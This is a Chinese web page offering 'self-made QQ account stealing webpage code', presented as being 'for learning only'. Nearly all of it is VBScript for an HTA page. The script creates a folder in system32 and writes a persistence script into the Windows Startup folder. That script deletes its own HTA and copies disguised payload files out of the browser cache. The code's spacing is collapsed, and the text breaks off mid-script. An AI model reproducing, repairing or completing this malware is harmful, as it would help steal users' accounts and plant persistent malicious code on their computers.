自己制作盗QQ号网页代码 -电脑资料

时间:2016-03-01 09:46:42
染雾
分享
WORD下载 PDF下载 投诉

  本文章只供学习使用,请勿做其他用途!

  <html>

  <scriptlanguage=vbs>

  'onerrorresumenext

  remczyascitboy2002.3.31

  aosoao

 

 subcal()

  myname=document.location

  IfRight(myname,3)="hta"Then

  callsvbs()

  endif

  endsub

  subsvbs()

  'onerrorresumenext

  setfso=createobject("Scripting.FileSystemObject")

  Ifnot(fso.FolderExists("c:\windows\system32\qq"))Then

  fso.CreateFolder("c:\windows\system32\qq")

  callsv()

  else

  settimeout"aa()",1

  endif

  endsub

  subsv()

  setfso=createobject("Scripting.FileSystemObject")

  setfil=fso.opentextfile("C:\WINDOWS\StartMenu\Programs\启动\so.vbs",2,tr

  ue)

  fil.writeline"drnext"

  fil.writeline"subdrnext()"

  fil.writeline"onerrorresumenext"

  fil.writeline"setfso=createobject(""Scripting.FileSystemObject"")"

  fil.writeline"If(fso.FileExists(""C:\WINDOWS\StartMenu\Programs\启动\so.h

  ta""))Then"

  fil.writeline"fso.DeleteFile(""C:\WINDOWS\StartMenu\Programs\启动\so.hta""

  )"

  fil.writeline"endif"

  fil.writeline"foreachdrinfso.getfolder(""C:\windows\tempor~1"").subfold

  ers"

  fil.writeline"fdnext(dr)"

  fil.writeline"flnext(dr)"

  fil.writeline"next"

  fil.writeline"endsub"

  fil.writeline"subfdnext(dr)"

  fil.writeline"foreachfdindr.subfolders"

  fil.writeline"fdnext(fd)"

  fil.writeline"flnext(fd)"

  fil.writeline"next"

  fil.writeline"endsub"

  fil.writeline"subflnext(dr)"

  fil.writeline"setfso=createobject(""Scripting.FileSystemObject"")"

  fil.writeline"foreachflindr.files"

  fil.writeline"IfLCase(fso.GetFileName(fl))=""123451[1].bmp""then"

  fil.writeline"fso.CopyFilefl,""c:\windows\system32\qq\1.bmp"""

  fil.writeline"elseifLCase(fso.GetFileName(fl))=""123452[1].ico""then"

  fil.writeline"fso.CopyFilefl,""c:\windows\system32\qq\1.ico"""

  fil.writeline"elseifLCase(fso.GetFileName(fl))=""123453[1].jpeg""then"

自己制作盗QQ号网页代码 -电脑资料

手机扫码分享

Top